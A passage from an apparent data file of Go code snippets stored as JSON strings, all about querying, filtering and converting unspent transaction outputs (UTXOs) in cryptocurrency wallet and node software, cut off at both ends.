wire.TxIn.\n\t\tspendSize: inputNfo.SigScriptSize + dexdcr.TxInOverhead,\n\t\tvalue: toAtoms(txOut.Value),\n\t\tlastLookup: lastLookup,\n\t}, nil\n}", "func ToUTXO(utxos []Unspent, privs string) (tx.UTXOs, error) {\n\t//prepare private key.\n\tpriv, err := address.FromWIF(privs, address.BitcoinMain)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxs := make(tx.UTXOs, len(utxos))\n\tfor i, utxo := range utxos {\n\t\thash, err := hex.DecodeString(utxo.Tx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\thash = tx.Reverse(hash)\n\t\tscript, err := hex.DecodeString(utxo.Script)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxs[i] = &tx.UTXO{\n\t\t\tValue: utxo.Amount,\n\t\t\tKey: priv,\n\t\t\tTxHash: hash,\n\t\t\tTxIndex: utxo.N,\n\t\t\tScript: script,\n\t\t}\n\t}\n\treturn txs, nil\n}", "func (c *Client) AddressUnspentTransactions(ctx context.Context, address string) (history AddressHistory, err error) {\n\n\tvar resp string\n\t// https://api.whatsonchain.com/v1/bsv/<network>/address/<address>/unspent\n\tif resp, err = c.request(\n\t\tctx,\n\t\tfmt.Sprintf(\"%s%s/address/%s/unspent\", apiEndpoint, c.Network(), address),\n\t\thttp.MethodGet, nil,\n\t); err != nil {\n\t\treturn\n\t}\n\tif len(resp) == 0 {\n\t\treturn nil, ErrAddressNotFound\n\t}\n\terr = json.Unmarshal([]byte(resp), &history)\n\treturn\n}", "func (bav *UtxoView) GetUnspentUtxoEntrysForPublicKey(pkBytes []byte) ([]*UtxoEntry, error) {\n\t// Fetch the relevant utxos for this public key from the db. We do this because\n\t// the db could contain utxos that are not currently loaded into the view.\n\tutxoEntriesForPublicKey, err := DbGetUtxosForPubKey(pkBytes, bav.Handle)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"UtxoView.GetUnspentUtxoEntrysForPublicKey: Problem fetching \"+\n\t\t\t\"utxos for public key %s\", PkToString(pkBytes, bav.Params))\n\t}\n\n\t// Load all the utxos associated with this public key into\n\t// the view. This makes it so that the view can enumerate all of the utxoEntries\n\t// known for this public key. To put it another way, it allows the view to\n\t// contain the union of:\n\t// - utxos in the db\n\t// - utxos in the view from previously-connected transactions\n\tfor _, utxoEntry := range utxoEntriesForPublicKey {\n\t\tbav.GetUtxoEntryForUtxoKey(utxoEntry.UtxoKey)\n\t}\n\n\t// Now that all of the utxos for this key have been loaded, filter the\n\t// ones for this public key and return them.\n\tutxoEntriesToReturn := []*UtxoEntry{}\n\tfor utxoKeyTmp, utxoEntry := range bav.UtxoKeyToUtxoEntry {\n\t\t// Make a copy of the iterator since it might change from underneath us\n\t\t// if we take its pointer.\n\t\tutxoKey := utxoKeyTmp\n\t\tutxoEntry.UtxoKey = &utxoKey\n\t\tif !utxoEntry.isSpent && reflect.DeepEqual(utxoEntry.PublicKey, pkBytes) {\n\t\t\tutxoEntriesToReturn = append(utxoEntriesToReturn, utxoEntry)\n\t\t}\n\t}\n\n\treturn utxoEntriesToReturn, nil\n}", "func (u UTXOSet) FindUnspentTransactionOutputs(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.BlockChain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through all transactions with UTXOs\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tv, err := item.Value()\n\t\t\tHandle(err)\n\t\t\touts := DeserializeOutputs(v)\n\t\t\t// go through all outputs of that transaction\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\t// check the output was locked with this address (belongs to this receiver and can be unlocked by this address to use as new input)\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n\treturn UTXOs\n}", "func (s *Client) ListUnspent(ctx context.Context, scripthash string) ([]*ListUnspentResult, error) {\n\tvar resp ListUnspentResp\n\n\terr := s.request(ctx, \"blockchain.scripthash.listunspent\", []interface{}{scripthash}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp.Result, err\n}", "func (dcr *ExchangeWallet) unspents() ([]walletjson.ListUnspentResult, error) {\n\tvar unspents []walletjson.ListUnspentResult\n\t// minconf, maxconf (rpcdefault=9999999), [address], account\n\tparams := anylist{0, 9999999, nil, dcr.acct}\n\terr := dcr.nodeRawRequest(methodListUnspent, params, &unspents)\n\treturn unspents, err\n}", "func (w *Wallet) ListUnspent(minconf, maxconf int32,\n\taddresses map[string]struct{}) ([]*btcjson.ListUnspentResult, er.R) {\n\n\tvar results []*btcjson.ListUnspentResult\n\terr := walletdb.View(w.db, func(tx walletdb.ReadTx) er.R {\n\t\taddrmgrNs := tx.ReadBucket(waddrmgrNamespaceKey)\n\t\ttxmgrNs := tx.ReadBucket(wtxmgrNamespaceKey)\n\n\t\tsyncBlock := w.Manager.SyncedTo()\n\n\t\tfilter := len(addresses) != 0\n\t\tunspent, err := w.TxStore.GetUnspentOutputs(txmgrNs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsort.Sort(sort.Reverse(creditSlice(unspent)))\n\n\t\tdefaultAccountName := \"default\"\n\n\t\tresults = make([]*btcjson.ListUnspentResult, 0, len(unspent))\n\t\tfor i := range unspent {\n\t\t\toutput := unspent[i]\n\n\t\t\t// Outputs with fewer confirmations than the minimum or more\n\t\t\t// confs than the maximum are excluded.\n\t\t\tconfs := confirms(output.Height, syncBlock.Height)\n\t\t\tif confs < minconf || confs > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Only mature coinbase outputs are included.\n\t\t\tif output.FromCoinBase {\n\t\t\t\ttarget := int32(w.ChainParams().CoinbaseMaturity)\n\t\t\t\tif !confirmed(target, output.Height, syncBlock.Height) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Exclude locked outputs from the result set.\n\t\t\tif w.LockedOutpoint(output.OutPoint) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Lookup the associated account for the output. Use the\n\t\t\t// default account name in case there is no associated account\n\t\t\t// for some reason, although this should never happen.\n\t\t\t//\n\t\t\t// This will be unnecessary once transactions and outputs are\n\t\t\t// grouped under the associated account in the db.\n\t\t\tacctName := defaultAccountName\n\t\t\tsc, addrs, _, err := txscript.ExtractPkScriptAddrs(\n\t\t\t\toutput.PkScript, w.chainParams)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tsmgr, acct, err := w.Manager.AddrAccount(addrmgrNs, addrs[0])\n\t\t\t\tif err == nil {\n\t\t\t\t\ts, err := smgr.AccountName(addrmgrNs, acct)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tacctName = s\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tinclude:\n\t\t\t// At the moment watch-only addresses are not supported, so all\n\t\t\t// recorded outputs that are not multisig are \"spendable\".\n\t\t\t// Multisig outputs are only \"spendable\" if all keys are\n\t\t\t// controlled by this wallet.\n\t\t\t//\n\t\t\t// TODO: Each case will need updates when watch-only addrs\n\t\t\t// is added. For P2PK, P2PKH, and P2SH, the address must be\n\t\t\t// looked up and not be watching-only. For multisig, all\n\t\t\t// pubkeys must belong to the manager with the associated\n\t\t\t// private key (currently it only checks whether the pubkey\n\t\t\t// exists, since the private key is required at the moment).\n\t\t\tvar spendable bool\n\t\tscSwitch:\n\t\t\tswitch sc {\n\t\t\tcase txscript.PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.PubKeyTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0ScriptHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.MultiSigTy:\n\t\t\t\tfor _, a := range addrs {\n\t\t\t\t\t_, err := w.Manager.Address(addrmgrNs, a)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif waddrmgr.ErrAddressNotFound.Is(err) {\n\t\t\t\t\t\tbreak scSwitch\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tspendable = true\n\t\t\t}\n\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxID: output.OutPoint.Hash.String(),\n\t\t\t\tVout: output.OutPoint.Index,\n\t\t\t\tAccount: acctName,\n\t\t\t\tScriptPubKey: hex.EncodeToString(output.PkScript),\n\t\t\t\tAmount: output.Amount.ToBTC(),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t\tSpendable: spendable,\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t\treturn nil\n\t})\n\treturn results, err\n}", "func (b *BlockChain) GetUnspentTxns(address string) []Transaction {\n\tvar unspentTxns []Transaction\n\tvar spentTxnMap = make(map[string][]int) // map txnID -> output index\n\n\t// go over blocks one by one\n\titer := b.GetIterator()\n\tfor {\n\t\tblck := iter.Next()\n\n\t\t// go over all Transactions in this block\n\t\tfor _, txn := range blck.Transactions {\n\t\t\t// get string identifying this transaction\n\t\t\ttxID := hex.EncodeToString(txn.ID)\n\n\t\tOutputLoop:\n\t\t\t// go over all outputs in this Txn\n\t\t\tfor outIndex, output := range txn.Out {\n\n\t\t\t\t// check if this output is spent.\n\t\t\t\tif spentTxnMap[txID] != nil {\n\t\t\t\t\tfor _, indx := range spentTxnMap[txID] {\n\t\t\t\t\t\tif indx == outIndex {\n\t\t\t\t\t\t\tcontinue OutputLoop\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check if this output belongs to this address\n\t\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\t\tunspentTxns = append(unspentTxns, *txn)\n\t\t\t\t}\n\n\t\t\t\t// if this is not genesis block, go over all inputs\n\t\t\t\t// that refers to output that belongs to this address\n\t\t\t\t// and mark them as unspent\n\t\t\t\tif txn.IsCoinbase() == false {\n\t\t\t\t\tfor _, inp := range txn.In {\n\t\t\t\t\t\tif inp.CheckInputUnlock(address) {\n\t\t\t\t\t\t\tspentTxnMap[txID] = append(spentTxnMap[txID], inp.Out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(blck.PrevBlockHash) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn unspentTxns\n}", "func (am *AccountManager) ListUnspent(minconf, maxconf int,\n\taddresses map[string]bool) ([]*btcjson.ListUnspentResult, error) {\n\n\tbs, err := GetCurBlock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilter := len(addresses) != 0\n\n\tvar results []*btcjson.ListUnspentResult\n\tfor _, a := range am.AllAccounts() {\n\t\tunspent, err := a.TxStore.UnspentOutputs()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, credit := range unspent {\n\t\t\tconfs := credit.Confirmations(bs.Height)\n\t\t\tif int(confs) < minconf || int(confs) > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t_, addrs, _, _ := credit.Addresses(cfg.Net())\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\tinclude:\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxId: credit.Tx().Sha().String(),\n\t\t\t\tVout: credit.OutputIndex,\n\t\t\t\tAccount: a.Name(),\n\t\t\t\tScriptPubKey: hex.EncodeToString(credit.TxOut().PkScript),\n\t\t\t\tAmount: credit.Amount().ToUnit(btcutil.AmountBTC),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t}\n\n\treturn results, nil\n}", "func (pgb *ChainDB) AddressSpentUnspent(address string) (int64, int64, int64, int64, error) {\n\tctx, cancel := context.WithTimeout(pgb.ctx, pgb.queryTimeout)\n\tdefer cancel()\n\tns, nu, as, au, err := RetrieveAddressSpentUnspent(ctx, pgb.db, address)\n\treturn ns, nu, as, au, pgb.replaceCancelError(err)\n}", "func (addressManager *AddressManager) UnspentAddresses() (addresses []address.Address) {\n\taddresses = make([]address.Address, 0)\n\tfor i := addressManager.firstUnspentAddressIndex; i <= addressManager.lastAddressIndex; i++ {\n\t\tif !addressManager.IsAddressSpent(i) {\n\t\t\taddresses = append(addresses, addressManager.Address(i))\n\t\t}\n\t}\n\n\treturn\n}", "func (s *Store) GetUnspentOutputs(ns walletdb.ReadBucket) ([]Credit, er.R) {\n\tvar unspent []Credit\n\terr := s.ForEachUnspentOutput(ns, nil, func(_ []byte, c *Credit) er.R {\n\t\tunspent = append(unspent, *c)\n\t\treturn nil\n\t})\n\treturn unspent, err\n}", "func getTicketDetails(ticketHash string) (string, string, string, error) {\n\tvar getTransactionResult wallettypes.GetTransactionResult\n\terr := c.Call(context.TODO(), \"gettransaction\", &getTransactionResult, ticketHash, false)\n\tif err != nil {\n\t\tfmt.Printf(\"gettransaction: %v\\n\", err)\n\t\treturn \"\", \"\", \"\", err\n\t}\n\n\tmsgTx := wire.NewMsgTx()\n\tif err = msgTx.Deserialize(hex.NewDecoder(strings.NewReader(getTransactionResult.Hex))); err != nil {\n\t\treturn \"\", \"\", \"\", err\n\t}\n\tif len(msgTx.TxOut) < 2 {\n\t\treturn \"\", \"\", \"\", errors.New(\"msgTx.TxOut < 2\")\n\t}\n\n\tconst scriptVersion = 0\n\t_, submissionAddr, _, err := txscript.ExtractPkScriptAddrs(scriptVersion,\n\t\tmsgTx.TxOut[0].PkScript, chaincfg.TestNet3Params())\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", err\n\t}\n\tif len(submissionAddr) != 1 {\n\t\treturn \"\", \"\", \"\", errors.New(\"submissionAddr != 1\")\n\t}\n\taddr, err := stake.AddrFromSStxPkScrCommitment(msgTx.TxOut[1].PkScript,\n\t\tchaincfg.TestNet3Params())\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", err\n\t}\n\n\tvar privKeyStr string\n\terr = c.Call(context.TODO(), \"dumpprivkey\", &privKeyStr, submissionAddr[0].Address())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn getTransactionResult.Hex, privKeyStr, addr.Address(), nil\n}", "func (u UTXOSet) FindUnspentTransactions(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.Blockchain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through UTXOS prefixes\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\t// get the value of each utxo prefixed item\n\t\t\tv := valueHash(it.Item())\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t// iterate through each output, check to see if it is locked by the provided hash address\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\thandle(err)\n\n\treturn UTXOs\n}", "func CalcUtxoSpendAmount(addr string, txHash string) (float64, error) {\n\n\toutStr, err := RunChain33Cli(strings.Fields(fmt.Sprintf(\"privacy showpas -a %s\", addr)))\n\n\tif strings.Contains(outStr, \"Err\") {\n\t\treturn 0, errors.New(outStr)\n\t}\n\n\tidx := strings.Index(outStr, \"\\n\") + 1\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar jsonArr []interface{}\n\terr = json.Unmarshal([]byte(outStr[idx:]), &jsonArr)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tvar totalAmount float64\n\n\tfor i := range jsonArr {\n\n\t\tif jsonArr[i].(map[string]interface{})[\"Txhash\"].(string) == txHash[2:] {\n\n\t\t\tspendArr := jsonArr[i].(map[string]interface{})[\"Spend\"].([]interface{})\n\t\t\tfor i := range spendArr {\n\n\t\t\t\ttemp, _ := strconv.ParseFloat(spendArr[i].(map[string]interface{})[\"Amount\"].(string), 64)\n\t\t\t\ttotalAmount += temp\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn totalAmount, nil\n}", "func (u utxo) convert() *bitcoin.UnspentTransactionOutput {\n\ttransactionHash, err := bitcoin.NewHashFromString(\n\t\tu.Outpoint.TransactionHash,\n\t\tbitcoin.ReversedByteOrder,\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &bitcoin.UnspentTransactionOutput{\n\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\tTransactionHash: transactionHash,\n\t\t\tOutputIndex: u.Outpoint.OutputIndex,\n\t\t},\n\t\tValue: u.Value,\n\t}\n}", "func (w *rpcWallet) Unspents(ctx context.Context, acctName string) ([]*walletjson.ListUnspentResult, error) {\n\tvar unspents []*walletjson.ListUnspentResult\n\t// minconf, maxconf (rpcdefault=9999999), [address], account\n\tparams := anylist{0, 9999999, nil, acctName}\n\terr := w.rpcClientRawRequest(ctx, methodListUnspent, params, &unspents)\n\treturn unspents, err\n}", "func ListUnspentWithAsset(ctx context.Context, rpcClient RpcClient, filter []Address, asset string) ([]TransactionInfo, error) {\n\treturn ListUnspentMinMaxAddressesAndOptions(ctx, rpcClient, AddressInfoMinConfirmation, AddressInfoMaxConfirmation, filter, ListUnspentOption{\n\t\tAsset: asset,\n\t})\n}", "func (s *Store) unminedTxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash, v []byte) (*TxDetails, error) {\n\tdetails := TxDetails{\n\t\tBlock: BlockMeta{Block: Block{Height: -1}},\n\t}\n\terr := readRawTxRecord(txHash, v, &details.TxRecord)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tit := makeReadUnminedCreditIterator(ns, txHash)\n\tfor it.next() {\n\t\tif int(it.elem.Index) >= len(details.MsgTx.TxOut) {\n\t\t\tstr := \"saved credit index exceeds number of outputs\"\n\t\t\treturn nil, storeError(ErrData, str, nil)\n\t\t}\n\n\t\t// Set the Spent field since this is not done by the iterator.\n\t\tit.elem.Spent = existsRawUnminedInput(ns, it.ck) != nil\n\t\tdetails.Credits = append(details.Credits, it.elem)\n\t}\n\tif it.err != nil {\n\t\treturn nil, it.err\n\t}\n\n\t// Debit records are not saved for unmined transactions. Instead, they\n\t// must be looked up for each transaction input manually. There are two\n\t// kinds of previous credits that may be debited by an unmined\n\t// transaction: mined unspent outputs (which remain marked unspent even\n\t// when spent by an unmined transaction), and credits from other unmined\n\t// transactions. Both situations must be considered.\n\tfor i, output := range details.MsgTx.TxIn {\n\t\topKey := canonicalOutPoint(&output.PreviousOutPoint.Hash,\n\t\t\toutput.PreviousOutPoint.Index)\n\t\tcredKey := existsRawUnspent(ns, opKey)\n\t\tif credKey != nil {\n\t\t\tv := existsRawCredit(ns, credKey)\n\t\t\tamount, err := fetchRawCreditAmount(v)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\t\tAmount: amount,\n\t\t\t\tIndex: uint32(i),\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\tv := existsRawUnminedCredit(ns, opKey)\n\t\tif v == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tamount, err := fetchRawCreditAmount(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\tAmount: amount,\n\t\t\tIndex: uint32(i),\n\t\t})\n\t}\n\n\t// Finally, we add the transaction label to details.\n\tdetails.Label, err = s.TxLabel(ns, *txHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &details, nil\n}", "func CreateUnsign(from, to string, value int64, outFile string) {\n\tfmt.Println(\"### create unsign transaction ###\")\n\n\tunsignTx, err := createRawTx(from, to, value)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tutx := unsignTx.Serialize()\n\tfmt.Println(\"## unsign hex:\", hex.EncodeToString(utx))\n\n\terr = ioutil.WriteFile(outFile, []byte(hex.EncodeToString(utx)), 0644)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tfmt.Println(\"## dump hex to\", outFile)\n}", "func (b *BtcWallet) FetchInputInfo(prevOut *wire.OutPoint) (*lnwallet.Utxo, error) {\n\tprevTx, txOut, bip32, confirmations, err := b.wallet.FetchInputInfo(\n\t\tprevOut,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Then, we'll populate all of the information required by the struct.\n\taddressType := lnwallet.UnknownAddressType\n\tswitch {\n\tcase txscript.IsPayToWitnessPubKeyHash(txOut.PkScript):\n\t\taddressType = lnwallet.WitnessPubKey\n\tcase txscript.IsPayToScriptHash(txOut.PkScript):\n\t\taddressType = lnwallet.NestedWitnessPubKey\n\tcase txscript.IsPayToTaproot(txOut.PkScript):\n\t\taddressType = lnwallet.TaprootPubkey\n\t}\n\n\treturn &lnwallet.Utxo{\n\t\tAddressType: addressType,\n\t\tValue: btcutil.Amount(txOut.Value),\n\t\tPkScript: txOut.PkScript,\n\t\tConfirmations: confirmations,\n\t\tOutPoint: *prevOut,\n\t\tDerivation: bip32,\n\t\tPrevTx: prevTx,\n\t}, nil\n}", "func (entry *UtxoEntry) UnspendOutput() {\n\tentry.Spent = false\n}", "func (wallet *Wallet) UnspentOutputs() map[address.Address]map[ledgerstate.OutputID]*Output {\n\treturn wallet.unspentOutputManager.UnspentOutputs()\n}", "func (b *Bitcoind) ListUnspent(minconf, maxconf uint32) (transactions []Transaction, err error) {\n\tif maxconf > 999999 {\n\t\tmaxconf = 999999\n\t}\n\n\tr, err := b.client.call(\"listunspent\", []interface{}{minconf, maxconf})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transactions)\n\treturn\n}", "func (p *Permanent) UnspentOutputIDs(optRealm ...byte) kvstore.KVStore {\n\tif len(optRealm) == 0 {\n\t\treturn p.unspentOutputIDs\n\t}\n\n\treturn lo.PanicOnErr(p.unspentOutputIDs.WithExtendedRealm(optRealm))\n}", "func (api *API) consensusGetUnspentCoinOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.CoinOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetCoinOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentCoinOutput{Output: output})\n}", "func (client *Client) UTXO(address string) ([]btc.UTXO, error) {\n\tvar response []btc.UTXO\n\terrorResp := &errorResponse{}\n\n\tresp, err := client.client.Post(\"/btc/getUtxo\").BodyJSON(&nonceRequest{\n\t\tAddress: address,\n\t}).Receive(&response, errorResp)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif code := resp.StatusCode; 200 < code || code > 299 {\n\t\treturn nil, fmt.Errorf(\"(%s) %s\", resp.Status, errorResp.Message)\n\t}\n\n\tjsontext, _ := json.Marshal(response)\n\n\tclient.DebugF(\"response(%d) :%s\", resp.StatusCode, string(jsontext))\n\n\treturn response, nil\n}", "func (btc *ExchangeWallet) spendableUTXOs(confs uint32) ([]*compositeUTXO, map[string]*compositeUTXO, uint64, error) {\n\tunspents, err := btc.wallet.ListUnspent()\n\tif err != nil {\n\t\treturn nil, nil, 0, err\n\t}\n\tsort.Slice(unspents, func(i, j int) bool { return unspents[i].Amount < unspents[j].Amount })\n\tvar sum uint64\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tutxoMap := make(map[string]*compositeUTXO, len(unspents))\n\tfor _, txout := range unspents {\n\t\tif txout.Confirmations >= confs && txout.Safe {\n\t\t\tnfo, err := dexbtc.InputInfo(txout.ScriptPubKey, txout.RedeemScript, btc.chainParams)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error reading asset info: %v\", err)\n\t\t\t}\n\t\t\ttxHash, err := chainhash.NewHashFromStr(txout.TxID)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error decoding txid in ListUnspentResult: %v\", err)\n\t\t\t}\n\t\t\tutxo := &compositeUTXO{\n\t\t\t\ttxHash: txHash,\n\t\t\t\tvout: txout.Vout,\n\t\t\t\taddress: txout.Address,\n\t\t\t\tredeemScript: txout.RedeemScript,\n\t\t\t\tamount: toSatoshi(txout.Amount),\n\t\t\t\tinput: nfo,\n\t\t\t}\n\t\t\tutxos = append(utxos, utxo)\n\t\t\tutxoMap[outpointID(txout.TxID, txout.Vout)] = utxo\n\t\t\tsum += toSatoshi(txout.Amount)\n\t\t}\n\t}\n\treturn utxos, utxoMap, sum, nil\n}", "func (gw *Gateway) GetUnspentOutputsSummary(filters []visor.OutputsFilter) (*visor.UnspentOutputsSummary, error) {\n\tvar summary *visor.UnspentOutputsSummary\n\tvar err error\n\tgw.strand(\"GetUnspentOutputsSummary\", func() {\n\t\tsummary, err = gw.v.GetUnspentOutputsSummary(filters)\n\t})\n\treturn summary, err\n}", "func (dcr *ExchangeWallet) parseUTXOs(unspents []*walletjson.ListUnspentResult) ([]*compositeUTXO, error) {\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tfor _, utxo := range unspents {\n\t\tif !utxo.Spendable {\n\t\t\tcontinue\n\t\t}\n\t\tscriptPK, err := hex.DecodeString(utxo.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script for %s, script = %s: %w\", utxo.TxID, utxo.ScriptPubKey, err)\n\t\t}\n\t\tredeemScript, err := hex.DecodeString(utxo.RedeemScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding redeem script for %s, script = %s: %w\", utxo.TxID, utxo.RedeemScript, err)\n\t\t}\n\n\t\t// NOTE: listunspent does not indicate script version, so for the\n\t\t// purposes of our funding coins, we are going to assume 0.\n\t\tnfo, err := dexdcr.InputInfo(0, scriptPK, redeemScript, dcr.chainParams)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, dex.UnsupportedScriptError) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"error reading asset info: %w\", err)\n\t\t}\n\t\tif nfo.ScriptType == dexdcr.ScriptUnsupported || nfo.NonStandardScript {\n\t\t\t// InputInfo sets NonStandardScript for P2SH with non-standard\n\t\t\t// redeem scripts. Don't return these since they cannot fund\n\t\t\t// arbitrary txns.\n\t\t\tcontinue\n\t\t}\n\t\tutxos = append(utxos, &compositeUTXO{\n\t\t\trpc: utxo,\n\t\t\tinput: nfo,\n\t\t\tconfs: utxo.Confirmations,\n\t\t})\n\t}\n\t// Sort in ascending order by amount (smallest first).\n\tsort.Slice(utxos, func(i, j int) bool { return utxos[i].rpc.Amount < utxos[j].rpc.Amount })\n\treturn utxos, nil\n}", "func (s *RPCChainIO) GetUtxo(op *wire.OutPoint, pkScript []byte,\n\theightHint uint32, cancel <-chan struct{}) (*wire.TxOut, error) {\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif s.chain == nil {\n\t\treturn nil, ErrUnconnected\n\t}\n\n\ttxout, err := s.chain.GetTxOut(context.TODO(), &op.Hash, op.Index, op.Tree, false)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if txout == nil {\n\t\treturn nil, ErrOutputSpent\n\t}\n\n\tpkScript, err = hex.DecodeString(txout.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sadly, gettxout returns the output value in DCR instead of atoms.\n\tamt, 